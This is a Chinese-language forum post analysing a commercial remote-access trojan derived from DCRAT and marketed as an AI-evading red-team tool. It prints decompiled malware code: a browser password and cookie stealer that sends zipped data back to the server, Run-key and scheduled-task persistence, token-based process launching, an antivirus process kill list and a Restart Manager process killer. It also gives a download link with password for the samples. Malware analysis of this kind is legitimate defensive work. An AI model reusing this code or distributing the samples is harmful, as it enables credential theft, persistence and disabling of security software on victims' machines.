如标题所说,这次分析的是一个由DCRAT二开而得的木马
发表者的B站账户似乎还是一个企业账户（点击打开）
<超多功能的红队工具！AI加持永久免杀、可写启动项！>视频简介如下

为红队主机管理与免杀提供一站式服务
AI赋能的载荷免杀: 利用AI LLM技术，自动生成能够绕过最新防病毒软件和EDR系统检测的恶意载荷。我们的AI模型定期更新，以对抗安全软件的最新防御机制。
绕过启动项检测: 能绕过杀毒软件并写入启动项，确保载荷能够在系统启动时无阻碍地执行。
对抗EDR和杀毒软件: 除了免杀能力，还具备与EDR和杀毒软件直接对抗的功能，包括但不限于致盲和在必要时终止这些防御系统的运行。
用户定制载荷: 允许红队根据具体需求定制载荷，包括但不限于攻击向量、执行策略、回连方式等特殊要求。
持久化和隐蔽性: 确保一旦部署，远控载荷能够在被检测的风险极低的情况下长期有效，并提供多种隐蔽技术支持，包括内存执行、数据加密和流量伪装等。
全面的后渗透支持: 除了载荷生成和免杀外，我们还提供一系列后渗透工具和模块，帮助红队在成功渗透后进行网络横向移动、数据提取和权限提升等操作。
 
https://www.cyberspike.top
 
Cyber Spike及相关工具仅用于授权的渗透测试或主机管理用途，请勿用于其他非法行为，后果自负。

一看这个标题,心里肯定想的是
看起来蛮厉害的样子啊,这个东西,但是看到界面我就感觉到些许不对 !了
因为那个界面是由我一个朋友二开DCRAT而得的界面

这个应该是那个东西的原始版本
经过询问得知,他已经将UI以及其他部分写好给了那个B站UP主

DCRAT就不必多了
所以这里不介绍服务端了
知道Plugins里面写了什么完全可以复现出来
https://github.com/qwqdanchun/DcRat/
这算是一个常规的东西了
什么,你问我为什么这么笃定就是DCRAT

配置文件一致甚至忘记抹除DCRAT信息
框架一致且命中火绒等杀软的特征

既然如此
我们先从他的木马开始分析一下

由Client.dll和Client.exe
Client.exe就是原生DCRAT端没什么好说的
这个Client.dll也就是给他所谓免杀绕过EDR 来做准备（尽管只能绕过部分,但是确实绕过了一点点)
还有一个文件名为Load.exe 是要由服务端实时编译的东西也就是真正写着Assembly.Load() （C#的反射加载的代码）的东西

接下来就是重头戏了,他那一堆Plugins

到底添加了什么新东西

值得卖1999RMB一周 6999一个月的

接下来我会以自己文件夹中的顺序挨个分析文件
无变化或者变化不大的的文件

2024/04/10  20:02    <DIR>          .
2024/04/10  20:02    <DIR>          ..
2024/04/05  18:37            23,552 Audio.dll
2024/04/05  18:37           465,408 Chat.dll
2024/04/05  18:37            25,088 Discord.dll
2024/04/05  18:37            32,256 Extra.dll
2024/04/05  18:37            32,256 FileManager.dll
2024/04/05  18:37           284,160 FileSearcher.dll
2024/04/05  18:37            34,304 Fun.dll
2024/04/05  18:37            10,240 Keylogger.exe
2024/04/05  18:37            26,624 Logger.dll
2024/04/05  18:37            16,384 MessagePackLib.dll
2024/04/05  18:37            84,480 Miscellaneous.dll
2024/04/05  18:37            25,600 Netstat.dll
2024/04/05  18:37         1,320,960 Recovery.dll
2024/04/05  18:37           285,696 Regedit.dll
2024/04/05  18:37           109,568 RemoteCamera.dll
2024/04/05  18:37            14,336 ReverseProxy.dll
2024/04/05  18:37            28,160 SendFile.dll
2024/04/05  18:37            28,672 SendMemory.dll
              18 个文件      2,847,744 字节

接下来我们来浅浅分析一下那些写了插件的文件吧

browser.dll

直接定位到接受包的地方

100

101

102

103

104

105

106

107

108

109

110

public static void Read(object data)
{
    try
    {
        MsgPack msgPack = new MsgPack();
        msgPack.DecodeFromBytes((byte[])data);
        if (msgPack.ForcePathObject("Pac_ket").AsString == "Browser_decryption")
        {
            Console.WriteLine("浏览器解密");
            Connection.Send(Packet.Browser_decryption());
        }
    }
    catch (Exception ex)
    {
        Packet.Error(ex.Message);
    }
}//调用Packet.Browser_decryption()函数
 
private static byte[] Browser_decryption()
{
    string path = Packet.Save_Browser_decryption();
    MsgPack msgPack = new MsgPack();
    msgPack.ForcePathObject("Pac_ket").AsString = "Browser_decryption";
    msgPack.ForcePathObject("ID").AsString = Connection.Hwid;
    msgPack.ForcePathObject("Filezip").SetAsBytes(File.ReadAllBytes(path));
    return msgPack.Encode2Bytes();
}
 
//经典DCRAT框架式回值 没什么说的
//msgPack.ForcePathObject("Filezip").SetAsBytes(File.ReadAllBytes(path));这一行明显就知道是什么了,将读取到的Cookie这些保存为一个.zip文件 然后发送回服务端
 
private static string Save_Browser_decryption()
{
    string text = Path.Combine(Path.GetTempPath(), "Pillager");
    string text2 = text + ".zip";
    if (Directory.Exists(text))
    {
        Directory.Delete(text, true);
    }
    if (File.Exists(text2))
    {
        File.Delete(text2);
    }
    Directory.CreateDirectory(text);
    IE.Save(text);
    OldSogou.Save(text);
    FireFox.Save(text);
    foreach (List<string> list in new List<List<string>>
    {
        new List<string>
        {
            "Chrome",
            "Google\\Chrome\\User Data\\Default"
        },
        new List<string>
        {
            "Chrome Beta",
            "Google\\Chrome Beta\\User Data\\Default"
        },
        new List<string>
        {
            "Chromium",
            "Chromium\\User Data\\Default"
        },
        new List<string>
        {
            "Edge",
            "Microsoft\\Edge\\User Data\\Default"
        },
        new List<string>
        {
            "Brave-Browser",
            "BraveSoftware\\Brave-Browser\\User Data\\Default"
        },
        new List<string>
        {
            "QQBrowser",
            "Tencent\\QQBrowser\\User Data\\Default"
        },
        new List<string>
        {
            "SogouExplorer",
            "Sogou\\SogouExplorer\\User Data\\Default"
        },
        new List<string>
        {
            "Vivaldi",
            "Vivaldi\\User Data\\Default"
        },
        new List<string>
        {
            "CocCoc",
            "CocCoc\\Browser\\User Data\\Default"
        }
    })
    {
        string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), list[1]);
        new Chrome(list[0], path).Save(text);
    }
    ZipFile.CreateFromDirectory(text, text2);
    Directory.Delete(text, true);
    return text2;
}
//在Temp目录下面创建一个名为Pillager的目录
//然后用System.IO.Compression
//遍历后 执行的恶意类包括        
/*
string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), list[1]);
new Chrome(list[0], path).Save(text);
*/

browser.dll->Chrome恶意类

这里不讲完全部,因为逻辑都相似,所以就选用一个经典的讲

(这些代码看着反编译出来的都觉得很眼熟,似乎在哪里见过)
他的一些需要包括的解密类(都是网上都可以搜到的代码和导入的函数等等)
这里别人应该会讲的比我详细的因为我们这篇帖子主要是分析他增加了什么恶意行为

ChormeClass()

Chorme_password()

sqliteHandler.ReadTable("logins")检查是否成功读取到了"logins"表
sqliteHandler.GetRowCount()获取"logins"表的行数，并使用循环逐行处理
sqliteHandler.GetValue(i, "origin_url")、sqliteHandler.GetValue(i, "username_value")和sqliteHandler.GetValue(i, "password_value")分别获取每行记录中的URL、用户名和密码
使用Convert.FromBase64String()将Base64编码的密码值转换为字节数组，然后使用this.DecryptData()方法对其进行解密
将解密后的密码字节数组使用UTF-8编码转换为字符串

Chrome_history()

提取 Chrome 浏览器的历史记录。
构建了一个 StringBuilder 对象用于存储历史记录
尝试复制历史记录文件到临时文件中，并使用 SQLiteHandler 类读取历史记录表格中的 URL 数据。
将每个 URL 添加到 StringBuilder 中

Chrome_cookies()

提取 Chrome 浏览器的 Cookies 数据
构建了一个 StringBuilder 对象用于存储 Cookies 数据
检查两个可能的 Cookies 文件路径，并确定哪个文件存在
(
string text = Path.Combine(this.BrowserPath, "Cookies");
string text2 = Path.Combine(this.BrowserPath, "Network\Cookies");
)
尝试复制 Cookies 文件到临时文件中，如果复制失败则尝试通过读取被锁定的文件来获取数据（也就是他的Helper里面的ReadLockedFile）
使用 SQLiteHandler 类读取 Cookies 表格中的数据，并解密加密的值。
将每个 Cookies 条目添加到 StringBuilder 中

Chrome_books() 方法

提取 Chrome 浏览器的书签数据
构建了一个 StringBuilder 对象用于存储书签数据
检查书签文件是否存在。如果不存在，则返回空字符串(也就是直接就没有这东西)
读取书签文件的内容，并将其添加到 StringBuilder 中

Save()

分别调用Chrome_cookies()、Chrome_passwords()、Chrome_books() 和 Chrome_history() 然后保存为文件

Information.dll

也是可以看出
添加了除了原本DCRAT 以外 GetScreen和Get_Wifi和Get_XManager

GetScreenThumbnail()

这个类似乎是截图一次然后讲图片写到内存流里面
应该是用来上线时获取第一次截图的

InfomationList()

调用CMD获取常规信息

GetWifi()

获取计算机上保存的 Wi-Fi 网络配置信息，包括 SSID 和密码
WlanOpenHandle 方法打开 WLAN 句柄。
WlanEnumInterfaces 方法列举 WLAN 接口。
获取第一个 WLAN 接口的 GUID。
Native.WlanGetProfileList 方法获取 WLAN 网络配置文件列表。
获取配置文件列表后，如果列表为空，则直接返回 null。
如果列表不为空，则遍历配置文件列表，对每个配置文件进行处理：
Native.WlanGetProfile 方法获取配置文件的 XML 数据。
解析 XML 数据，提取 SSID 和密码信息。
将提取的 SSID 和密码信息添加到 stringBuilder 中。
最后WlanCloseHandle关闭 WLAN 句柄。

Dllimport导入的函数

XManager

GetAllAccessibleFiles(string rootPath)

递归遍历*.xsh和*.xfp呗没什么好讲的

DecryptSessions()

拆分字符串然后返回

Mimikatz.dll

这个DLL很有趣有趣的地方不是在他的Syscall加载
而是告诉你这个DLL就是Github抄下来的
https://github.com/b4rtik/SharpKatz

这个我似乎被不需要过多讲解了自己看真正的源码就能懂了

Options.dll

接下来仅仅说新加的功能
首先说他里面写的启动项代码无法绕过360核晶

TaskService taskService = new TaskService();
TaskDefinition taskDefinition = taskService.NewTask();
taskDefinition.RegistrationInfo.Description = SchtaskSetup.Description;
taskDefinition.RegistrationInfo.Author = SchtaskSetup.Author;
TimeTrigger timeTrigger = new TimeTrigger
{
    StartBoundary = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00"))
};
timeTrigger.Repetition.Interval = TimeSpan.FromMinutes(5.0);
taskDefinition.Triggers.Add<TimeTrigger>(timeTrigger);
taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
taskDefinition.Settings.DisallowStartIfOnBatteries = false;
taskDefinition.Settings.RunOnlyIfNetworkAvailable = true;
taskDefinition.Settings.RunOnlyIfIdle = false;
taskDefinition.Settings.DisallowStartIfOnBatteries = false;
taskDefinition.Actions.Add<ExecAction>(new ExecAction(text, "", null));
taskService.RootFolder.RegisterTaskDefinition(SchtaskSetup.TaskAdmin, taskDefinition, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.InteractiveToken, null);

以上代码移植过来

//另一个？抱歉一眼看着就不行
public static void Install()
{
    string path = Process.GetCurrentProcess().ProcessName + ".exe";
    string text;
    try
    {
        text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), path);
        File.Copy(Process.GetCurrentProcess().MainModule.FileName, text, true);
    }
    catch
    {
        text = Path.Combine(Path.GetTempPath(), path);
        File.Copy(Process.GetCurrentProcess().MainModule.FileName, text, true);
    }
    try
    {
        using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Encoding.Default.GetString(Convert.FromBase64String("U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==")), RegistryKeyPermissionCheck.ReadWriteSubTree))
//SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
        {
            registryKey.SetValue(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.FileName), "\"" + text + "\"");
        }
    }
    catch (Exception ex)
    {
        Packet.Error(ex.Message);
    }
    Send.sendGetStartUp();
}

HANDLENOSYSTEM CLASS

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
namespace Plugin.Handler
{
    // Token: 0x02000007 RID: 7
    public class HandleNoSystem
    {
        // Token: 0x0600002C RID: 44 RVA: 0x00002F6C File Offset: 0x0000116C
        public static void NoSystem()
        {
            try
            {
                HandleNoSystem.StartProcessAsCurrentUser(Process.GetCurrentProcess().MainModule.FileName, null, null, true);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
 
        // Token: 0x0600002D RID: 45
        [DllImport("advapi32.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandle, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref HandleNoSystem.STARTUPINFO lpStartupInfo, out HandleNoSystem.PROCESS_INFORMATION lpProcessInformation);
 
        // Token: 0x0600002E RID: 46
        [DllImport("advapi32.dll")]
        private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
 
        // Token: 0x0600002F RID: 47
        [DllImport("userenv.dll", SetLastError = true)]
        private static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
 
        // Token: 0x06000030 RID: 48
        [DllImport("userenv.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
 
        // Token: 0x06000031 RID: 49
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hSnapshot);
 
        // Token: 0x06000032 RID: 50
        [DllImport("kernel32.dll")]
        private static extern uint WTSGetActiveConsoleSessionId();
 
        // Token: 0x06000033 RID: 51
        [DllImport("Wtsapi32.dll")]
        private static extern uint WTSQueryUserToken(uint SessionId, ref IntPtr phToken);
 
        // Token: 0x06000034 RID: 52
        [DllImport("Wtsapi32.dll", SetLastError = true)]
        private static extern int WTSEnumerateSessions(IntPtr hServer, int Reserved, int Version, ref IntPtr ppSessionInfo, ref int pCount);
 
        // Token: 0x06000035 RID: 53 RVA: 0x00002FB8 File Offset: 0x000011B8
        private static bool GetSessionUserToken(ref IntPtr phUserToken)
        {
            bool result = false;
            IntPtr zero = IntPtr.Zero;
            uint num = uint.MaxValue;
            IntPtr zero2 = IntPtr.Zero;
            int num2 = 0;
            if (HandleNoSystem.WTSEnumerateSessions(HandleNoSystem.WTS_CURRENT_SERVER_HANDLE, 0, 1, ref zero2, ref num2) != 0)
            {
                int offset = Marshal.SizeOf(typeof(HandleNoSystem.WTS_SESSION_INFO));
                IntPtr intPtr = zero2;
                for (int i = 0; i < num2; i++)
                {
                    HandleNoSystem.WTS_SESSION_INFO wts_SESSION_INFO = (HandleNoSystem.WTS_SESSION_INFO)Marshal.PtrToStructure(intPtr, typeof(HandleNoSystem.WTS_SESSION_INFO));
                    intPtr += offset;
                    if (wts_SESSION_INFO.State == HandleNoSystem.WTS_CONNECTSTATE_CLASS.WTSActive)
                    {
                        num = wts_SESSION_INFO.SessionID;
                    }
                }
            }
            if (num == 4294967295U)
            {
                num = HandleNoSystem.WTSGetActiveConsoleSessionId();
            }
            if (HandleNoSystem.WTSQueryUserToken(num, ref zero) != 0U)
            {
                result = HandleNoSystem.DuplicateTokenEx(zero, 0U, IntPtr.Zero, 2, 1, ref phUserToken);
                HandleNoSystem.CloseHandle(zero);
            }
            return result;
        }
 
        // Token: 0x06000036 RID: 54 RVA: 0x00003084 File Offset: 0x00001284
        public static bool StartProcessAsCurrentUser(string appPath, string cmdLine = null, string workDir = null, bool visible = true)
        {
            IntPtr zero = IntPtr.Zero;
            HandleNoSystem.STARTUPINFO startupinfo = default(HandleNoSystem.STARTUPINFO);
            HandleNoSystem.PROCESS_INFORMATION process_INFORMATION = default(HandleNoSystem.PROCESS_INFORMATION);
            IntPtr zero2 = IntPtr.Zero;
            startupinfo.cb = Marshal.SizeOf(typeof(HandleNoSystem.STARTUPINFO));
            try
            {
                if (!HandleNoSystem.GetSessionUserToken(ref zero))
                {
                    throw new Exception("StartProcessAsCurrentUser: GetSessionUserToken failed.");
                }
                uint dwCreationFlags = 1024U | (visible ? 16U : 134217728U);
                startupinfo.wShowWindow = (visible ? 5 : 0);
                startupinfo.lpDesktop = "winsta0\\default";
                if (!HandleNoSystem.CreateEnvironmentBlock(ref zero2, zero, false))
                {
                    throw new Exception("StartProcessAsCurrentUser: CreateEnvironmentBlock failed.");
                }
                if (!HandleNoSystem.CreateProcessAsUser(zero, appPath, cmdLine, IntPtr.Zero, IntPtr.Zero, false, dwCreationFlags, zero2, workDir, ref startupinfo, out process_INFORMATION))
                {
                    throw new Exception("StartProcessAsCurrentUser: CreateProcessAsUser failed.  Error Code -" + Marshal.GetLastWin32Error().ToString());
                }
                int lastWin32Error = Marshal.GetLastWin32Error();
            }
            finally
            {
                HandleNoSystem.CloseHandle(zero);
                if (zero2 != IntPtr.Zero)
                {
                    HandleNoSystem.DestroyEnvironmentBlock(zero2);
                }
                HandleNoSystem.CloseHandle(process_INFORMATION.hThread);
                HandleNoSystem.CloseHandle(process_INFORMATION.hProcess);
            }
            return true;
        }
 
        // Token: 0x04000015 RID: 21
        private const int CREATE_UNICODE_ENVIRONMENT = 1024;
 
        // Token: 0x04000016 RID: 22
        private const int CREATE_NO_WINDOW = 134217728;
 
        // Token: 0x04000017 RID: 23
        private const int CREATE_NEW_CONSOLE = 16;
 
        // Token: 0x04000018 RID: 24
        private const uint INVALID_SESSION_ID = 4294967295U;
 
        // Token: 0x04000019 RID: 25
        private static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
 
        // Token: 0x0200011F RID: 287
        private enum SW
        {
            // Token: 0x040002F5 RID: 757
            SW_HIDE,
            // Token: 0x040002F6 RID: 758
            SW_SHOWNORMAL,
            // Token: 0x040002F7 RID: 759
            SW_NORMAL = 1,
            // Token: 0x040002F8 RID: 760
            SW_SHOWMINIMIZED,
            // Token: 0x040002F9 RID: 761
            SW_SHOWMAXIMIZED,
            // Token: 0x040002FA RID: 762
            SW_MAXIMIZE = 3,
            // Token: 0x040002FB RID: 763
            SW_SHOWNOACTIVATE,
            // Token: 0x040002FC RID: 764
            SW_SHOW,
            // Token: 0x040002FD RID: 765
            SW_MINIMIZE,
            // Token: 0x040002FE RID: 766
            SW_SHOWMINNOACTIVE,
            // Token: 0x040002FF RID: 767
            SW_SHOWNA,
            // Token: 0x04000300 RID: 768
            SW_RESTORE,
            // Token: 0x04000301 RID: 769
            SW_SHOWDEFAULT,
            // Token: 0x04000302 RID: 770
            SW_MAX = 10
        }
 
        // Token: 0x02000120 RID: 288
        private enum WTS_CONNECTSTATE_CLASS
        {
            // Token: 0x04000304 RID: 772
            WTSActive,
            // Token: 0x04000305 RID: 773
            WTSConnected,
            // Token: 0x04000306 RID: 774
            WTSConnectQuery,
            // Token: 0x04000307 RID: 775
            WTSShadow,
            // Token: 0x04000308 RID: 776
            WTSDisconnected,
            // Token: 0x04000309 RID: 777
            WTSIdle,
            // Token: 0x0400030A RID: 778
            WTSListen,
            // Token: 0x0400030B RID: 779
            WTSReset,
            // Token: 0x0400030C RID: 780
            WTSDown,
            // Token: 0x0400030D RID: 781
            WTSInit
        }
 
        // Token: 0x02000121 RID: 289
        private struct PROCESS_INFORMATION
        {
            // Token: 0x0400030E RID: 782
            public IntPtr hProcess;
 
            // Token: 0x0400030F RID: 783
            public IntPtr hThread;
 
            // Token: 0x04000310 RID: 784
            public uint dwProcessId;
 
            // Token: 0x04000311 RID: 785
            public uint dwThreadId;
        }
 
        // Token: 0x02000122 RID: 290
        private enum SECURITY_IMPERSONATION_LEVEL
        {
            // Token: 0x04000313 RID: 787
            SecurityAnonymous,
            // Token: 0x04000314 RID: 788
            SecurityIdentification,
            // Token: 0x04000315 RID: 789
            SecurityImpersonation,
            // Token: 0x04000316 RID: 790
            SecurityDelegation
        }
 
        // Token: 0x02000123 RID: 291
        private struct STARTUPINFO
        {
            // Token: 0x04000317 RID: 791
            public int cb;
 
            // Token: 0x04000318 RID: 792
            public string lpReserved;
 
            // Token: 0x04000319 RID: 793
            public string lpDesktop;
 
            // Token: 0x0400031A RID: 794
            public string lpTitle;
 
            // Token: 0x0400031B RID: 795
            public uint dwX;
 
            // Token: 0x0400031C RID: 796
            public uint dwY;
 
            // Token: 0x0400031D RID: 797
            public uint dwXSize;
 
            // Token: 0x0400031E RID: 798
            public uint dwYSize;
 
            // Token: 0x0400031F RID: 799
            public uint dwXCountChars;
 
            // Token: 0x04000320 RID: 800
            public uint dwYCountChars;
 
            // Token: 0x04000321 RID: 801
            public uint dwFillAttribute;
 
            // Token: 0x04000322 RID: 802
            public uint dwFlags;
 
            // Token: 0x04000323 RID: 803
            public short wShowWindow;
 
            // Token: 0x04000324 RID: 804
            public short cbReserved2;
 
            // Token: 0x04000325 RID: 805
            public IntPtr lpReserved2;
 
            // Token: 0x04000326 RID: 806
            public IntPtr hStdInput;
 
            // Token: 0x04000327 RID: 807
            public IntPtr hStdOutput;
 
            // Token: 0x04000328 RID: 808
            public IntPtr hStdError;
        }
 
        // Token: 0x02000124 RID: 292
        private enum TOKEN_TYPE
        { ![](upload/tmp/987662_EKHJP2GGPMFRVBF.webp)
            // Token: 0x0400032A RID: 810
            TokenPrimary = 1,
            // Token: 0x0400032B RID: 811
            TokenImpersonation
        }
 
        // Token: 0x02000125 RID: 293
        private readonly struct WTS_SESSION_INFO
        {
            // Token: 0x0400032C RID: 812
            public readonly uint SessionID;
 
            // Token: 0x0400032D RID: 813
            [MarshalAs(UnmanagedType.LPStr)]
            public readonly string pWinStationName;
 
            // Token: 0x0400032E RID: 814
            public readonly HandleNoSystem.WTS_CONNECTSTATE_CLASS State;
        }
    }
}

避免在SYSTEM权限下面很多功能无法正常使用的问题

接下来还有几个小函数不用我讲解了直接看他写的中文就OK了

RemoteDesktop.dll

新增的东西
通过鼠标位置来获取窗口的信息
Title Hwnd这些
代码有些简单了随便看看就能看懂似乎也不怎么需要讲解

SysInfo.dll

用了 System.Management获取更多的一些系统信息

ProcessManager.dll

新增用Windows的Restart Manager API来实现处理进程的关闭和重新启动
这个方法是可以杀掉一些比较弱鸡的杀软的
RmStartSession启动 Restart Manager 会话->通过指定的字符串 strSessionKey 创建了一个Restart Manager会话，并返回一个会话句柄 dwSessionHandle。
RmRegisterResources用于注册资源，以便 Restart Manager 能够跟踪它们。在这里，它注册了一个或多个文件资源以供监视 ->将进程的主模块文件名添加到列表中，并且注册这些文件资源。
RmGetList获取与会话关联的资源的状态信息 ->获取了已经注册的受影响的应用程序的列表，并返回了受影响的应用程序的数量和信息。
RmShutdown关闭 Restart Manager 会话
RmEndSession结束 Restart Manager 会话

// Token: 0x06000023 RID: 35
    [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
    private static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey);
 
    // Token: 0x06000024 RID: 36
    [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
    private static extern int RmRegisterResources(uint dwSessionHandle, uint nFiles, string[] rgsFileNames, uint nApplications, IntPtr rgApplications, uint nServices, IntPtr rgServices);
 
    // Token: 0x06000025 RID: 37
    [DllImport("rstrtmgr.dll")]
    private static extern int RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In] [Out] HandleProcessManager.RM_PROCESS_INFO[] rgAffectedApps, out uint lpdwRebootReasons);
 
    // Token: 0x06000026 RID: 38
    [DllImport("rstrtmgr.dll")]
    private static extern int RmShutdown(uint dwSessionHandle, uint dwShutdownFlags, IntPtr fnStatus);
 
    // Token: 0x06000027 RID: 39
    [DllImport("rstrtmgr.dll")]
    private static extern int RmEndSession(uint dwSessionHandle);
 
    // Token: 0x06000028 RID: 40 RVA: 0x00002910 File Offset: 0x00000B10
    public void ProcessKill2(int ID)
    {
        Process processById = Process.GetProcessById(ID);
        List<string> list = new List<string>();
        list.Add(processById.MainModule.FileName);
        string strSessionKey = new string('\0', 65);
        uint dwSessionHandle;
        HandleProcessManager.RmStartSession(out dwSessionHandle, 0, strSessionKey);
        string[] array = list.ToArray();
        if (HandleProcessManager.RmRegisterResources(dwSessionHandle, (uint)array.Length, array, 0U, IntPtr.Zero, 0U, IntPtr.Zero) != 0)
        {
            HandleProcessManager.RmEndSession(dwSessionHandle);
            return;
        }
        uint num = 0U;
        HandleProcessManager.RM_PROCESS_INFO[] rgAffectedApps = new HandleProcessManager.RM_PROCESS_INFO[1];
        uint num2;
        uint num3;
        HandleProcessManager.RmGetList(dwSessionHandle, out num2, ref num, rgAffectedApps, out num3);
        HandleProcessManager.RmShutdown(dwSessionHandle, 1U, IntPtr.Zero);
    }

RunPlug.dll & RunPlug_NET.dll

RunPlug.dll

一看RunPlug.dll
哇里面的DllMemory加载方式都是自己写的吗？
其实不然因为
https://github.com/schellingb/DLLFromMemory-net
与这个完全不能说是一模一样只能说是完全一致了
和MemoryModule原理是一样的不过是C#形式而已

RunPlug_NET.dll

string asString = (string)Assembly.Load(dllBytes).GetType("Program.Program").GetMethod("Start").Invoke(null, new object[]
{
args
});
//注意这句代码
//Plugins的格式是需要
//在一个名为Program的命名空间中有一个名为Program的类 需要调用的函数名必须是Start 然后加他传进去的参数

如此冗杂原版二开的Plugins终于结束了（！！！）

接下来是几个好玩的东西

AVKiller (WHQL白驱动利用)

我第一眼看到这个技术还以为是什么高深莫测的Ring3玩意

一看这个驱动利用真的好简单一点验证不带有的

先看这个木马的杀毒软件进程列表吧(似乎还蛮全面的)

public static List<string> process_list = new List<string>
{
    "360tray.exe",
    "360sd.exe",
    "zhudongfangyu.exe",
    "a2guard.exe",
    "ad-watch.exe",
    "cleaner8.exe",
    "vba32lder.exe",
    "MongoosaGUI.exe",
    "CorantiControlCenter32.exe",
    "F-PROT.EXE",
    "CMCTrayIcon.exe",
    "K7TSecurity.exe",
    "UnThreat.exe",
    "CKSoftShiedAntivirus4.exe",
    "AVWatchService.exe",
    "ArcaTasksService.exe",
    "iptray.exe",
    "PSafeSysTray.exe",
    "nspupsvc.exe",
    "SpywareTerminatorShield.exe",
    "BKavService.exe",
    "MsMpEng.exe",
    "SBAMSvc.exe",
    "ccSvcHst.exe",
    "f-secure.exe",
    "avp.exe",
    "KvMonXP.exe",
    "RavMonD.exe",
    "Mcshield.exe",
    "egui.exe",
    "kxetray.exe",
    "knsdtray.exe",
    "avcenter.exe",
    "ashDisp.exe",
    "rtvscan.exe",
    "ksafe.exe",
    "QQPCRTP.exe",
    "Miner.exe",
    "AYAgent.aye",
    "patray.exe",
    "V3Svc.exe",
    "avgwdsvc.exe",
    "ccSetMgr.exe",
    "QUHLPSVC.EXE",
    "mssecess.exe",
    "SavProgress.exe",
    "fsavgui.exe",
    "vsserv.exe",
    "remupd.exe",
    "FortiTray.exe",
    "safedog.exe",
    "parmor.exe",
    "beikesan.exe",
    "KSWebShield.exe",
    "TrojanHunter.exe",
    "GG.exe",
    "adam.exe",
    "AST.exe",
    "ananwidget.exe",
    "AVK.exe",
    "ccapp.exe",
    "avg.exe",
    "spidernt.exe",
    "Mcshield.exe",
    "avgaurd.exe",
    "F-PROT.exe",
    "vsmon.exe",
    "avp.exee",
    "cpf.exe",
    "outpost.exe",
    "rfwmain.exe",
    "kpfwtray.exe",
    "FYFireWall.exe",
    "MPMon.exe",
    "pfw.exe",
    "S.exe",
    "1433.exe",
    "DUB.exe",
    "ServUDaemon.exe",
    "BaiduSdSvc.exe",
    "wsctrl.exe",
    "usysdiag.exe",
    "HipsDaemon.exe",
    "wsctrlsvc.exe",
    "HipsMain.exe",
    "HipsTray.exe"
};

在这里面的进程都会被他使用驱动给KILL

这些代码（CTL_CODE）也是作者抓的吗?

又错了

这个三开远控最大的特点就是东西都能在github找到

https://github.com/ph4nt0mbyt3/Darkside
https://github.com/0sha0/TrueSightKiller/

密码欺骗.dll

我看到这个DLL 我下意识以为是

写lsass内存让密码干嘛干嘛或者是通过别的密码覆盖User的密码

我看完之后才知道这东西是

社会工程学

啊！！！

用credui.dll创建类似那种登入界面然后让用户自己输密码

虚拟化互斥

WeGame开启的时候会开启VT

利用VT的独占特性就是所谓的 "虚拟化互斥"了

流程大概是释放WeGame.exe(但是不能是Wegame.exe 也就是换个名字)

然后让他开启VT

实物下载链接

https://www.lanzoub.com/b00l0ra6qh
密码:ctod

引用的 github

https://github.com/schellingb/DLLFromMemory-net
https://github.com/ph4nt0mbyt3/Darkside
https://github.com/0sha0/TrueSightKiller/
此贴仅供学习交流禁止用于非法用途

更多【编程技术-分析一个由DCRAT二开而得的远控木马】相关视频教程：www.yxfzedu.com

编程技术-分析一个由DCRAT二开而得的远控木马